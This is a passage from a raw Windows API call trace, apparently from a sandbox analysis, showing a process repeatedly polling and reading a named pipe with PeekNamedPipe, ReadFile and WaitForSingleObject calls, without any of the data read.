lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x49, lpBytesLeftThisMessage=0x0) returned 1 [0071.016] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x49, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x49, lpOverlapped=0x0) returned 1 [0071.016] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.046] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0071.046] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0071.046] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.074] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x41, lpBytesLeftThisMessage=0x0) returned 1 [0071.074] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x41, lpOverlapped=0x0) returned 1 [0071.074] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.111] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.111] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.283] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa1, lpBytesLeftThisMessage=0x0) returned 1 [0071.283] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa1, lpOverlapped=0x0) returned 1 [0071.283] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.317] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.317] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.356] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa6, lpBytesLeftThisMessage=0x0) returned 1 [0071.356] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa6, lpOverlapped=0x0) returned 1 [0071.356] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.394] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.394] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.425] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9f, lpBytesLeftThisMessage=0x0) returned 1 [0071.426] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9f, lpOverlapped=0x0) returned 1 [0071.426] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.461] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.461] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.487] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa3, lpBytesLeftThisMessage=0x0) returned 1 [0071.487] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa3, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa3, lpOverlapped=0x0) returned 1 [0071.487] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.520] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.520] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.547] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xaa, lpBytesLeftThisMessage=0x0) returned 1 [0071.547] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xaa, lpOverlapped=0x0) returned 1 [0071.547] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.583] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.583] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.614] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa6, lpBytesLeftThisMessage=0x0) returned 1 [0071.614] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa6, lpOverlapped=0x0) returned 1 [0071.614] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.647] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.648] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.688] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xad, lpBytesLeftThisMessage=0x0) returned 1 [0071.688] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xad, lpOverlapped=0x0) returned 1 [0071.688] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.831] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.883] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xad, lpBytesLeftThisMessage=0x0) returned 1 [0071.883] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xad, lpOverlapped=0x0) returned 1 [0071.884] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.925] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.925] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.962] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0071.963] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0071.963] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.009] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x41, lpBytesLeftThisMessage=0x0) returned 1 [0072.009] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x41, lpOverlapped=0x0) returned 1 [0072.009] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.047] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.047] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.085] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa6, lpBytesLeftThisMessage=0x0) returned 1 [0072.086] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa6, lpOverlapped=0x0) returned 1 [0072.086] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.122] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.122] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.153] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xaa, lpBytesLeftThisMessage=0x0) returned 1 [0072.153] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xaa, lpOverlapped=0x0) returned 1 [0072.153] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.189] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.190] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.219] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xaa, lpBytesLeftThisMessage=0x0) returned 1 [0072.219] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xaa, lpOverlapped=0x0) returned 1 [0072.219] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.253] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.279] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa9, lpBytesLeftThisMessage=0x0) returned 1 [0072.279] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa9, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa9, lpOverlapped=0x0) returned 1 [0072.279] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.312] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.312] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.336] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0072.336] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9a, lpOverlapped=0x0) returned 1 [0072.336] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.369] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.369] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.430] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x99, lpBytesLeftThisMessage=0x0) returned 1 [0072.430] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x99, lpOverlapped=0x0) returned 1 [0072.430] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.492] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xfc, lpBytesLeftThisMessage=0x0) returned 1 [0072.492] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xfc, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xfc, lpOverlapped=0x0) returned 1 [0072.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.551] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3e, lpBytesLeftThisMessage=0x0) returned 1 [0072.551] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3e, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3e, lpOverlapped=0x0) returned 1 [0072.551] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.589] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x99, lpBytesLeftThisMessage=0x0) returned 1 [0072.589] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x99, lpOverlapped=0x0) returned 1 [0072.589] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.627] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.627] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.646] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0072.646] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0072.646] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.703] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x37, lpBytesLeftThisMessage=0x0) returned 1 [0072.703] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x37, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x37, lpOverlapped=0x0) returned 1 [0072.703] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.739] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0072.739] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0072.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.797] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x38, lpBytesLeftThisMessage=0x0) returned 1 [0072.797] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x38, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x38, lpOverlapped=0x0) returned 1 [0072.797] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.822] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa1, lpBytesLeftThisMessage=0x0) returned 1 [0072.822] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa1, lpOverlapped=0x0) returned 1 [0072.822] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.858] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.858] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.881] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa0, lpBytesLeftThisMessage=0x0) returned 1 [0072.881] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa0, lpOverlapped=0x0) returned 1 [0072.881] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.914] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.914] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.943] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0072.943] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9d, lpOverlapped=0x0) returned 1 [0072.943] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0072.977] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.977] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.013] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9d, 